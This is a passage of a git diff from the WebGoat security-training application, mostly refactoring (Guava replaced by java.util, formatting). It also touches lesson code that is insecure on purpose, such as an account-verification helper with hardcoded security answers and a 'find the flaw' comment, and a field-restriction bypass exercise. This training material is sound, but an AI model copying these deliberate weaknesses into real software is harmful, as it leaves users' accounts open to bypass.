* @param currentLesson
|
|
||||||
* @return
|
|
||||||
*/
|
|
||||||
private boolean lessonCompleted(Map<Assignment, Boolean> map, Lesson currentLesson) {
|
|
||||||
boolean result = true;
|
boolean result = true;
|
||||||
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
|
for (Map.Entry<Assignment, Boolean> entry : map.entrySet()) {
|
||||||
Assignment storedAssignment = entry.getKey();
|
Assignment storedAssignment = entry.getKey();
|
||||||
for (Assignment lessonAssignment: currentLesson.getAssignments()) {
|
for (Assignment lessonAssignment : currentLesson.getAssignments()) {
|
||||||
if (lessonAssignment.getName().equals(storedAssignment.getName())) {
|
if (lessonAssignment.getName().equals(storedAssignment.getName())) {
|
||||||
result = result && entry.getValue();
|
result = result && entry.getValue();
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
@ -1,65 +0,0 @@
|
|||||||
/**
|
|
||||||
* *************************************************************************************************
|
|
||||||
*
|
|
||||||
*
|
|
||||||
* This file is part of WebGoat, an Open Web Application Security Project
|
|
||||||
* utility. For details, please see http://www.owasp.org/
|
|
||||||
*
|
|
||||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
|
||||||
*
|
|
||||||
* This program is free software; you can redistribute it and/or modify it under
|
|
||||||
* the terms of the GNU General Public License as published by the Free Software
|
|
||||||
* Foundation; either version 2 of the License, or (at your option) any later
|
|
||||||
* version.
|
|
||||||
*
|
|
||||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
|
||||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
|
||||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
|
||||||
* details.
|
|
||||||
*
|
|
||||||
* You should have received a copy of the GNU General Public License along with
|
|
||||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
|
||||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
|
||||||
*
|
|
||||||
* Getting Source ==============
|
|
||||||
*
|
|
||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository
|
|
||||||
* for free software projects.
|
|
||||||
*
|
|
||||||
*/
|
|
||||||
package org.owasp.webgoat.service;
|
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import org.owasp.webgoat.lessons.RequestParameter;
|
|
||||||
import org.springframework.stereotype.Controller;
|
|
||||||
import org.springframework.web.bind.annotation.RequestMapping;
|
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
|
||||||
|
|
||||||
import javax.servlet.http.HttpSession;
|
|
||||||
import java.util.Collections;
|
|
||||||
import java.util.List;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* <p>ParameterService class.</p>
|
|
||||||
*
|
|
||||||
* @author rlawson
|
|
||||||
* @version $Id: $Id
|
|
||||||
*/
|
|
||||||
@Controller
|
|
||||||
public class ParameterService {
|
|
||||||
|
|
||||||
/**
|
|
||||||
* Returns request parameters for last attack
|
|
||||||
*
|
|
||||||
* @param session a {@link javax.servlet.http.HttpSession} object.
|
|
||||||
* @return a {@link java.util.List} object.
|
|
||||||
*/
|
|
||||||
@RequestMapping(path = "/service/parameter.mvc", produces = "application/json")
|
|
||||||
public @ResponseBody
|
|
||||||
List<RequestParameter> showParameters(HttpSession session) {
|
|
||||||
//// TODO: 11/6/2016 to decide not sure about the role in WebGoat 8
|
|
||||||
List<RequestParameter> listParms = Lists.newArrayList();
|
|
||||||
Collections.sort(listParms);
|
|
||||||
return listParms;
|
|
||||||
}
|
|
||||||
}
|
|
@ -1,32 +1,32 @@
|
|||||||
/**
|
/**
|
||||||
* *************************************************************************************************
|
* *************************************************************************************************
|
||||||
*
|
* <p>
|
||||||
*
|
* <p>
|
||||||
* This file is part of WebGoat, an Open Web Application Security Project
|
* This file is part of WebGoat, an Open Web Application Security Project
|
||||||
* utility. For details, please see http://www.owasp.org/
|
* utility. For details, please see http://www.owasp.org/
|
||||||
*
|
* <p>
|
||||||
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
* Copyright (c) 2002 - 20014 Bruce Mayhew
|
||||||
*
|
* <p>
|
||||||
* This program is free software; you can redistribute it and/or modify it under
|
* This program is free software; you can redistribute it and/or modify it under
|
||||||
* the terms of the GNU General Public License as published by the Free Software
|
* the terms of the GNU General Public License as published by the Free Software
|
||||||
* Foundation; either version 2 of the License, or (at your option) any later
|
* Foundation; either version 2 of the License, or (at your option) any later
|
||||||
* version.
|
* version.
|
||||||
*
|
* <p>
|
||||||
* This program is distributed in the hope that it will be useful, but WITHOUT
|
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||||
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||||
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||||
* details.
|
* details.
|
||||||
*
|
* <p>
|
||||||
* You should have received a copy of the GNU General Public License along with
|
* You should have received a copy of the GNU General Public License along with
|
||||||
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
|
||||||
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
* Place - Suite 330, Boston, MA 02111-1307, USA.
|
||||||
*
|
* <p>
|
||||||
* Getting Source ==============
|
* Getting Source ==============
|
||||||
*
|
* <p>
|
||||||
* Source for this application is maintained at
|
* Source for this application is maintained at
|
||||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
*
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.service;
|
package org.owasp.webgoat.service;
|
||||||
|
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
@ -46,6 +46,7 @@ import java.util.Map;
|
|||||||
* @author nbaars
|
* @author nbaars
|
||||||
* @version $Id: $Id
|
* @version $Id: $Id
|
||||||
*/
|
*/
|
||||||
|
//TODO REMOVE?
|
||||||
@Controller
|
@Controller
|
||||||
public class PluginReloadService {
|
public class PluginReloadService {
|
||||||
|
|
||||||
@ -58,15 +59,6 @@ public class PluginReloadService {
|
|||||||
@RequestMapping(path = "/service/reloadplugins.mvc", produces = MediaType.APPLICATION_JSON_VALUE)
|
@RequestMapping(path = "/service/reloadplugins.mvc", produces = MediaType.APPLICATION_JSON_VALUE)
|
||||||
public @ResponseBody
|
public @ResponseBody
|
||||||
ResponseEntity<Map<String, Object>> reloadPlugins(HttpSession session) {
|
ResponseEntity<Map<String, Object>> reloadPlugins(HttpSession session) {
|
||||||
// WebSession webSession = (WebSession) session.getAttribute(WebSession.SESSION);
|
|
||||||
//
|
|
||||||
// logger.debug("Loading plugins into cache");
|
|
||||||
// String pluginPath = session.getServletContext().getRealPath("plugin_lessons");
|
|
||||||
// String targetPath = session.getServletContext().getRealPath("plugin_extracted");
|
|
||||||
// //TODO fix me
|
|
||||||
// //new PluginsLoader(Paths.get(pluginPath), Paths.get(targetPath)).copyJars();
|
|
||||||
// //webSession.getCourse().createLessonsFromPlugins();
|
|
||||||
|
|
||||||
Map<String, Object> result = new HashMap<String, Object>();
|
Map<String, Object> result = new HashMap<String, Object>();
|
||||||
result.put("success", true);
|
result.put("success", true);
|
||||||
result.put("message", "Plugins reloaded");
|
result.put("message", "Plugins reloaded");
|
||||||
|
@ -26,9 +26,9 @@
|
|||||||
* Source for this application is maintained at
|
* Source for this application is maintained at
|
||||||
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
* https://github.com/WebGoat/WebGoat, a repository for free software projects.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.service;
|
package org.owasp.webgoat.service;
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import lombok.Setter;
|
import lombok.Setter;
|
||||||
@ -43,6 +43,7 @@ import org.springframework.stereotype.Controller;
|
|||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.ResponseBody;
|
import org.springframework.web.bind.annotation.ResponseBody;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@ -66,14 +67,14 @@ public class ReportCardService {
|
|||||||
@GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
|
@GetMapping(path = "/service/reportcard.mvc", produces = "application/json")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public ReportCard reportCard() {
|
public ReportCard reportCard() {
|
||||||
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
|
||||||
var lessons = course.getLessons();
|
|
||||||
ReportCard reportCard = new ReportCard();
|
ReportCard reportCard = new ReportCard();
|
||||||
reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
|
reportCard.setTotalNumberOfLessons(course.getTotalOfLessons());
|
||||||
reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments());
|
reportCard.setTotalNumberOfAssignments(course.getTotalOfAssignments());
|
||||||
|
|
||||||
|
UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());
|
||||||
reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved());
|
reportCard.setNumberOfAssignmentsSolved(userTracker.numberOfAssignmentsSolved());
|
||||||
reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved());
|
reportCard.setNumberOfLessonsSolved(userTracker.numberOfLessonsSolved());
|
||||||
for (Lesson lesson : lessons) {
|
for (Lesson lesson : course.getLessons()) {
|
||||||
LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
|
LessonTracker lessonTracker = userTracker.getLessonTracker(lesson);
|
||||||
LessonStatistics lessonStatistics = new LessonStatistics();
|
LessonStatistics lessonStatistics = new LessonStatistics();
|
||||||
lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle()));
|
lessonStatistics.setName(pluginMessages.getMessage(lesson.getTitle()));
|
||||||
@ -93,7 +94,7 @@ public class ReportCardService {
|
|||||||
private int solvedLessons;
|
private int solvedLessons;
|
||||||
private int numberOfAssignmentsSolved;
|
private int numberOfAssignmentsSolved;
|
||||||
private int numberOfLessonsSolved;
|
private int numberOfLessonsSolved;
|
||||||
private List<LessonStatistics> lessonStatistics = Lists.newArrayList();
|
private List<LessonStatistics> lessonStatistics = new ArrayList<>();
|
||||||
}
|
}
|
||||||
|
|
||||||
@Setter
|
@Setter
|
||||||
|
@ -21,6 +21,7 @@
|
|||||||
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software
|
||||||
* projects.
|
* projects.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.service;
|
package org.owasp.webgoat.service;
|
||||||
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
|
@ -3,6 +3,7 @@
|
|||||||
* To change this template file, choose Tools | Templates
|
* To change this template file, choose Tools | Templates
|
||||||
* and open the template in the editor.
|
* and open the template in the editor.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
package org.owasp.webgoat.service;
|
package org.owasp.webgoat.service;
|
||||||
|
|
||||||
import org.springframework.stereotype.Controller;
|
import org.springframework.stereotype.Controller;
|
||||||
|
@ -1,16 +1,12 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.users;
|
package org.owasp.webgoat.users;
|
||||||
|
|
||||||
import com.google.common.collect.Sets;
|
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import org.owasp.webgoat.lessons.Lesson;
|
import org.owasp.webgoat.lessons.Lesson;
|
||||||
import org.owasp.webgoat.lessons.Assignment;
|
import org.owasp.webgoat.lessons.Assignment;
|
||||||
|
|
||||||
import javax.persistence.*;
|
import javax.persistence.*;
|
||||||
import java.util.List;
|
import java.util.*;
|
||||||
import java.util.Map;
|
|
||||||
import java.util.Optional;
|
|
||||||
import java.util.Set;
|
|
||||||
import java.util.stream.Collectors;
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
|
|
||||||
@ -53,9 +49,9 @@ public class LessonTracker {
|
|||||||
@Getter
|
@Getter
|
||||||
private String lessonName;
|
private String lessonName;
|
||||||
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
||||||
private final Set<Assignment> solvedAssignments = Sets.newHashSet();
|
private final Set<Assignment> solvedAssignments = new HashSet<>();
|
||||||
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
||||||
private final Set<Assignment> allAssignments = Sets.newHashSet();
|
private final Set<Assignment> allAssignments = new HashSet<>();
|
||||||
@Getter
|
@Getter
|
||||||
private int numberOfAttempts = 0;
|
private int numberOfAttempts = 0;
|
||||||
|
|
||||||
|
@ -10,6 +10,7 @@ import org.springframework.web.bind.annotation.GetMapping;
|
|||||||
import org.springframework.web.bind.annotation.ModelAttribute;
|
import org.springframework.web.bind.annotation.ModelAttribute;
|
||||||
import org.springframework.web.bind.annotation.PostMapping;
|
import org.springframework.web.bind.annotation.PostMapping;
|
||||||
|
|
||||||
|
import javax.servlet.ServletException;
|
||||||
import javax.servlet.http.HttpServletRequest;
|
import javax.servlet.http.HttpServletRequest;
|
||||||
import javax.validation.Valid;
|
import javax.validation.Valid;
|
||||||
|
|
||||||
@ -32,8 +33,7 @@ public class RegistrationController {
|
|||||||
}
|
}
|
||||||
|
|
||||||
@PostMapping("/register.mvc")
|
@PostMapping("/register.mvc")
|
||||||
@SneakyThrows
|
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) throws ServletException {
|
||||||
public String registration(@ModelAttribute("userForm") @Valid UserForm userForm, BindingResult bindingResult, HttpServletRequest request) {
|
|
||||||
userValidator.validate(userForm, bindingResult);
|
userValidator.validate(userForm, bindingResult);
|
||||||
|
|
||||||
if (bindingResult.hasErrors()) {
|
if (bindingResult.hasErrors()) {
|
||||||
|
@ -1,6 +1,5 @@
|
|||||||
package org.owasp.webgoat.users;
|
package org.owasp.webgoat.users;
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import lombok.AllArgsConstructor;
|
import lombok.AllArgsConstructor;
|
||||||
import lombok.Getter;
|
import lombok.Getter;
|
||||||
import org.owasp.webgoat.i18n.PluginMessages;
|
import org.owasp.webgoat.i18n.PluginMessages;
|
||||||
@ -8,6 +7,7 @@ import org.owasp.webgoat.session.Course;
|
|||||||
import org.springframework.web.bind.annotation.GetMapping;
|
import org.springframework.web.bind.annotation.GetMapping;
|
||||||
import org.springframework.web.bind.annotation.RestController;
|
import org.springframework.web.bind.annotation.RestController;
|
||||||
|
|
||||||
|
import java.util.ArrayList;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.stream.Collectors;
|
import java.util.stream.Collectors;
|
||||||
|
|
||||||
@ -36,7 +36,7 @@ public class Scoreboard {
|
|||||||
@GetMapping("/scoreboard-data")
|
@GetMapping("/scoreboard-data")
|
||||||
public List<Ranking> getRankings() {
|
public List<Ranking> getRankings() {
|
||||||
List<WebGoatUser> allUsers = userRepository.findAll();
|
List<WebGoatUser> allUsers = userRepository.findAll();
|
||||||
List<Ranking> rankings = Lists.newArrayList();
|
List<Ranking> rankings = new ArrayList<>();
|
||||||
for (WebGoatUser user : allUsers) {
|
for (WebGoatUser user : allUsers) {
|
||||||
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
|
UserTracker userTracker = userTrackerRepository.findByUser(user.getUsername());
|
||||||
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
|
rankings.add(new Ranking(user.getUsername(), challengesSolved(userTracker)));
|
||||||
@ -45,7 +45,7 @@ public class Scoreboard {
|
|||||||
}
|
}
|
||||||
|
|
||||||
private List<String> challengesSolved(UserTracker userTracker) {
|
private List<String> challengesSolved(UserTracker userTracker) {
|
||||||
List<String> challenges = Lists.newArrayList("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
|
List<String> challenges = List.of("Challenge1", "Challenge2", "Challenge3", "Challenge4", "Challenge5", "Challenge6", "Challenge7", "Challenge8", "Challenge9");
|
||||||
return challenges.stream()
|
return challenges.stream()
|
||||||
.map(c -> userTracker.getLessonTracker(c))
|
.map(c -> userTracker.getLessonTracker(c))
|
||||||
.filter(l -> l.isPresent()).map(l -> l.get())
|
.filter(l -> l.isPresent()).map(l -> l.get())
|
||||||
|
@ -16,14 +16,14 @@ import javax.validation.constraints.Size;
|
|||||||
public class UserForm {
|
public class UserForm {
|
||||||
|
|
||||||
@NotNull
|
@NotNull
|
||||||
@Size(min=6, max=45)
|
@Size(min = 6, max = 45)
|
||||||
@Pattern(regexp = "[a-z0-9-]*", message = "can only contain lowercase letters, digits, and -")
|
@Pattern(regexp = "[a-z0-9-]*", message = "can only contain lowercase letters, digits, and -")
|
||||||
private String username;
|
private String username;
|
||||||
@NotNull
|
@NotNull
|
||||||
@Size(min=6, max=10)
|
@Size(min = 6, max = 10)
|
||||||
private String password;
|
private String password;
|
||||||
@NotNull
|
@NotNull
|
||||||
@Size(min=6, max=10)
|
@Size(min = 6, max = 10)
|
||||||
private String matchingPassword;
|
private String matchingPassword;
|
||||||
@NotNull
|
@NotNull
|
||||||
private String agree;
|
private String agree;
|
||||||
|
@ -36,7 +36,7 @@ public class UserService implements UserDetailsService {
|
|||||||
userRepository.save(new WebGoatUser(username, password));
|
userRepository.save(new WebGoatUser(username, password));
|
||||||
//if user previously existed it will not get another tracker
|
//if user previously existed it will not get another tracker
|
||||||
if (webGoatUser == null) {
|
if (webGoatUser == null) {
|
||||||
userTrackerRepository.save(new UserTracker(username));
|
userTrackerRepository.save(new UserTracker(username));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -44,14 +44,14 @@ public class UserService implements UserDetailsService {
|
|||||||
//get user if there exists one by the name
|
//get user if there exists one by the name
|
||||||
WebGoatUser webGoatUser = userRepository.findByUsername(username);
|
WebGoatUser webGoatUser = userRepository.findByUsername(username);
|
||||||
//if user exists it will be updated, otherwise created
|
//if user exists it will be updated, otherwise created
|
||||||
userRepository.save(new WebGoatUser(username,password,role));
|
userRepository.save(new WebGoatUser(username, password, role));
|
||||||
//if user previously existed it will not get another tracker
|
//if user previously existed it will not get another tracker
|
||||||
if (webGoatUser == null) {
|
if (webGoatUser == null) {
|
||||||
userTrackerRepository.save(new UserTracker(username));
|
userTrackerRepository.save(new UserTracker(username));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<WebGoatUser> getAllUsers () {
|
public List<WebGoatUser> getAllUsers() {
|
||||||
return userRepository.findAll();
|
return userRepository.findAll();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -1,12 +1,12 @@
|
|||||||
|
|
||||||
package org.owasp.webgoat.users;
|
package org.owasp.webgoat.users;
|
||||||
|
|
||||||
import com.google.common.collect.Sets;
|
|
||||||
import lombok.extern.slf4j.Slf4j;
|
import lombok.extern.slf4j.Slf4j;
|
||||||
import org.owasp.webgoat.lessons.Lesson;
|
import org.owasp.webgoat.lessons.Lesson;
|
||||||
import org.owasp.webgoat.lessons.Assignment;
|
import org.owasp.webgoat.lessons.Assignment;
|
||||||
|
|
||||||
import javax.persistence.*;
|
import javax.persistence.*;
|
||||||
|
import java.util.HashSet;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
import java.util.Optional;
|
import java.util.Optional;
|
||||||
import java.util.Set;
|
import java.util.Set;
|
||||||
@ -53,7 +53,7 @@ public class UserTracker {
|
|||||||
@Column(name = "username")
|
@Column(name = "username")
|
||||||
private String user;
|
private String user;
|
||||||
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
@OneToMany(cascade = CascadeType.ALL, fetch = FetchType.EAGER)
|
||||||
private Set<LessonTracker> lessonTrackers = Sets.newHashSet();
|
private Set<LessonTracker> lessonTrackers = new HashSet<>();
|
||||||
|
|
||||||
private UserTracker() {}
|
private UserTracker() {}
|
||||||
|
|
||||||
|
@ -16,8 +16,8 @@ public class UserValidator implements Validator {
|
|||||||
private final UserRepository userRepository;
|
private final UserRepository userRepository;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public boolean supports(Class<?> aClass) {
|
public boolean supports(Class<?> clazz) {
|
||||||
return UserForm.class.equals(aClass);
|
return UserForm.class.equals(clazz);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
@ -1,9 +1,8 @@
|
|||||||
package org.owasp.webgoat.session;
|
package org.owasp.webgoat.session;
|
||||||
|
|
||||||
import com.google.common.collect.Lists;
|
|
||||||
import org.junit.Test;
|
import org.junit.Test;
|
||||||
import org.owasp.webgoat.lessons.Lesson;
|
|
||||||
import org.owasp.webgoat.lessons.Assignment;
|
import org.owasp.webgoat.lessons.Assignment;
|
||||||
|
import org.owasp.webgoat.lessons.Lesson;
|
||||||
import org.owasp.webgoat.users.LessonTracker;
|
import org.owasp.webgoat.users.LessonTracker;
|
||||||
|
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
@ -48,7 +47,7 @@ public class LessonTrackerTest {
|
|||||||
@Test
|
@Test
|
||||||
public void allAssignmentsSolvedShouldMarkLessonAsComplete() {
|
public void allAssignmentsSolvedShouldMarkLessonAsComplete() {
|
||||||
Lesson lesson = mock(Lesson.class);
|
Lesson lesson = mock(Lesson.class);
|
||||||
when(lesson.getAssignments()).thenReturn(Lists.newArrayList(new Assignment("assignment", "assignment", List.of(""))));
|
when(lesson.getAssignments()).thenReturn(List.of(new Assignment("assignment", "assignment", List.of(""))));
|
||||||
LessonTracker lessonTracker = new LessonTracker(lesson);
|
LessonTracker lessonTracker = new LessonTracker(lesson);
|
||||||
lessonTracker.assignmentSolved("assignment");
|
lessonTracker.assignmentSolved("assignment");
|
||||||
|
|
||||||
@ -60,7 +59,7 @@ public class LessonTrackerTest {
|
|||||||
Lesson lesson = mock(Lesson.class);
|
Lesson lesson = mock(Lesson.class);
|
||||||
Assignment a1 = new Assignment("a1");
|
Assignment a1 = new Assignment("a1");
|
||||||
Assignment a2 = new Assignment("a2");
|
Assignment a2 = new Assignment("a2");
|
||||||
List<Assignment> assignments = Lists.newArrayList(a1, a2);
|
List<Assignment> assignments = List.of(a1, a2);
|
||||||
when(lesson.getAssignments()).thenReturn(assignments);
|
when(lesson.getAssignments()).thenReturn(assignments);
|
||||||
LessonTracker lessonTracker = new LessonTracker(lesson);
|
LessonTracker lessonTracker = new LessonTracker(lesson);
|
||||||
lessonTracker.assignmentSolved("a1");
|
lessonTracker.assignmentSolved("a1");
|
||||||
@ -74,7 +73,7 @@ public class LessonTrackerTest {
|
|||||||
public void solvingSameAssignmentShouldNotAddItTwice() {
|
public void solvingSameAssignmentShouldNotAddItTwice() {
|
||||||
Lesson lesson = mock(Lesson.class);
|
Lesson lesson = mock(Lesson.class);
|
||||||
Assignment a1 = new Assignment("a1");
|
Assignment a1 = new Assignment("a1");
|
||||||
List<Assignment> assignments = Lists.newArrayList(a1);
|
List<Assignment> assignments = List.of(a1);
|
||||||
when(lesson.getAssignments()).thenReturn(assignments);
|
when(lesson.getAssignments()).thenReturn(assignments);
|
||||||
LessonTracker lessonTracker = new LessonTracker(lesson);
|
LessonTracker lessonTracker = new LessonTracker(lesson);
|
||||||
lessonTracker.assignmentSolved("a1");
|
lessonTracker.assignmentSolved("a1");
|
||||||
|
@ -6,7 +6,7 @@ import org.mockito.Mock;
|
|||||||
import org.mockito.junit.MockitoJUnitRunner;
|
import org.mockito.junit.MockitoJUnitRunner;
|
||||||
import org.springframework.security.core.userdetails.UsernameNotFoundException;
|
import org.springframework.security.core.userdetails.UsernameNotFoundException;
|
||||||
|
|
||||||
import static org.mockito.Matchers.any;
|
import static org.mockito.ArgumentMatchers.any;
|
||||||
import static org.mockito.Mockito.when;
|
import static org.mockito.Mockito.when;
|
||||||
|
|
||||||
@RunWith(MockitoJUnitRunner.class)
|
@RunWith(MockitoJUnitRunner.class)
|
||||||
|
@ -31,29 +31,31 @@ import java.util.Map;
|
|||||||
public class AccountVerificationHelper {
|
public class AccountVerificationHelper {
|
||||||
|
|
||||||
//simulating database storage of verification credentials
|
//simulating database storage of verification credentials
|
||||||
private static final Integer verifyUserId = 1223445;
|
private static final Integer verifyUserId = 1223445;
|
||||||
private static final Map<String,String> userSecQuestions = new HashMap<>();
|
private static final Map<String, String> userSecQuestions = new HashMap<>();
|
||||||
|
|
||||||
static {
|
static {
|
||||||
userSecQuestions.put("secQuestion0","Dr. Watson");
|
userSecQuestions.put("secQuestion0", "Dr. Watson");
|
||||||
userSecQuestions.put("secQuestion1","Baker Street");
|
userSecQuestions.put("secQuestion1", "Baker Street");
|
||||||
}
|
}
|
||||||
|
|
||||||
private static final Map<Integer,Map> secQuestionStore = new HashMap<>();
|
private static final Map<Integer, Map> secQuestionStore = new HashMap<>();
|
||||||
|
|
||||||
static {
|
static {
|
||||||
secQuestionStore.put(verifyUserId,userSecQuestions);
|
secQuestionStore.put(verifyUserId, userSecQuestions);
|
||||||
}
|
}
|
||||||
// end 'data store set up'
|
// end 'data store set up'
|
||||||
|
|
||||||
// this is to aid feedback in the attack process and is not intended to be part of the 'vulnerable' code
|
// this is to aid feedback in the attack process and is not intended to be part of the 'vulnerable' code
|
||||||
public boolean didUserLikelylCheat(HashMap<String,String> submittedAnswers) {
|
public boolean didUserLikelylCheat(HashMap<String, String> submittedAnswers) {
|
||||||
boolean likely = false;
|
boolean likely = false;
|
||||||
|
|
||||||
if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {
|
if (submittedAnswers.size() == secQuestionStore.get(verifyUserId).size()) {
|
||||||
likely = true;
|
likely = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0"))) &&
|
if ((submittedAnswers.containsKey("secQuestion0") && submittedAnswers.get("secQuestion0").equals(secQuestionStore.get(verifyUserId).get("secQuestion0")))
|
||||||
(submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1"))) ) {
|
&& (submittedAnswers.containsKey("secQuestion1") && submittedAnswers.get("secQuestion1").equals(secQuestionStore.get(verifyUserId).get("secQuestion1")))) {
|
||||||
likely = true;
|
likely = true;
|
||||||
} else {
|
} else {
|
||||||
likely = false;
|
likely = false;
|
||||||
@ -64,7 +66,7 @@ public class AccountVerificationHelper {
|
|||||||
}
|
}
|
||||||
//end of cheating check ... the method below is the one of real interest. Can you find the flaw?
|
//end of cheating check ... the method below is the one of real interest. Can you find the flaw?
|
||||||
|
|
||||||
public boolean verifyAccount(Integer userId, HashMap<String,String> submittedQuestions ) {
|
public boolean verifyAccount(Integer userId, HashMap<String, String> submittedQuestions) {
|
||||||
//short circuit if no questions are submitted
|
//short circuit if no questions are submitted
|
||||||
if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
|
if (submittedQuestions.entrySet().size() != secQuestionStore.get(verifyUserId).size()) {
|
||||||
return false;
|
return false;
|
||||||
|
@ -68,7 +68,7 @@ public class VerifyAccount extends AssignmentEndpoint {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// else
|
// else
|
||||||
if (verificationHelper.verifyAccount(new Integer(userId), (HashMap) submittedAnswers)) {
|
if (verificationHelper.verifyAccount(Integer.valueOf(userId), (HashMap) submittedAnswers)) {
|
||||||
userSessionData.setValue("account-verified-id", userId);
|
userSessionData.setValue("account-verified-id", userId);
|
||||||
return trackProgress(success()
|
return trackProgress(success()
|
||||||
.feedback("verify-account.success")
|
.feedback("verify-account.success")
|
||||||
|
@ -35,24 +35,18 @@ public class BypassRestrictionsFieldRestrictions extends AssignmentEndpoint {
|
|||||||
@PostMapping("/BypassRestrictions/FieldRestrictions")
|
@PostMapping("/BypassRestrictions/FieldRestrictions")
|
||||||
@ResponseBody
|
@ResponseBody
|
||||||
public AttackResult completed(@RequestParam String select, @RequestParam String radio, @RequestParam String checkbox, @RequestParam String shortInput) {
|
public AttackResult completed(@RequestParam String select, @RequestParam String radio, @RequestParam String checkbox, @RequestParam String shortInput) {
|
||||||
if (select.equals("option1") || select.equals("option2")) {
|
if (select.equals("option1") || select.equals("option2")) {
|
||||||
return trackProgress(failed().build());
|
return trackProgress(failed().build());
|
||||||
}
|
}
|
||||||
if (radio.equals("option1") || radio.equals("option2")) {
|
if (radio.equals("option1") || radio.equals("option2")) {
|
||||||
return trackProgress(failed().build());
|
return trackProgress(failed().build());
|
||||||
}
|
}
|
||||||
if (checkbox.equals("on") || checkbox.equals("off")) {
|
if (checkbox.equals("on") || checkbox.equals("off")) {
|
||||||
return trackProgress(failed().build());
|
return trackProgress(failed().build());
|
||||||
}
|
}
|
||||||
if (shortInput.length() <= 5) {
|
if (shortInput.length() <= 5) {
|
||||||
return trackProgress(failed().build());
|
return trackProgress(failed().build());
|
||||||
}
|
}
|
||||||
/*if (disabled == null) {
|
|
||||||
